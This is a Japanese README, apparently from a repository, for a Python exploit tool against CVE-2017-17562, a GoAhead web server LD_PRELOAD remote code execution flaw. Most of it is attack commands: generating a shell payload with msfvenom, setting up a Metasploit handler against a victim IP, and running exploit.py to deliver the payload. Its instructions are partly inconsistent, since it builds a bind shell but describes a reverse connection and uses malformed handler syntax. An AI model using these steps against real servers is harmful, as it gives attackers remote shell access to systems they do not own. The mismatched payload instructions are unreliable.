GoAhead Web Server 2.5 < 3.6.5 - HTTPd 'LD_PRELOAD' リモートコード実行

CVE-2017-17562 脆弱性のエクスプロイトです。CGI が有効で CGI プログラムが動的リンクされている場合、GoAhead (< v3.6.5) で RCE が可能になります。

使い方

$ python3 exploit.py [-h] --host HOST --port PORT --payload PAYLOAD [--ssl] [--cgi CGI]

必要条件

$ python3 -m pip install -r requirements.txt

注意！

最初にペイロードを生成し、リスニング接続をセットアップする必要があります。
例：
(攻撃者: 192.168.1.100 - 被害者: 192.168.1.200)

$ msfvenom -a x64 --platform Linux -p generic/shell_bind_tcp LHOST=192.168.1.100 LPORT=1337 -f elf-so -o payload.so
$ msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload generic/shell_bind_tcp
msf6 exploit(multi/handler) > set LPORT=1337
msf6 exploit(multi/handler) > set RHOST=192.168.1.200
msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 192.168.1.200:1337

その後、別のシェルでこのエクスプロイトを実行して、リスナーへのリバース接続を開始するペイロードを送信する必要があります！

引数

Required arguments:
  --host HOST        Host running the GoAhead webserver.
  --port PORT        Port running the GoAhead webserver. Default: 80
  --payload PAYLOAD  Path to the payload.

Optional arguments:
  --ssl              Host is using SSL.
  --cgi LIST         Paths list to discover the CGI script on the GoAhead server. Default: paths.lst

例

$ python3 exploit.py --host 192.168.1.200 --port 8080 --cgi custom_list.txt --payload payload.so --ssl

goahead-rce-exploit

人気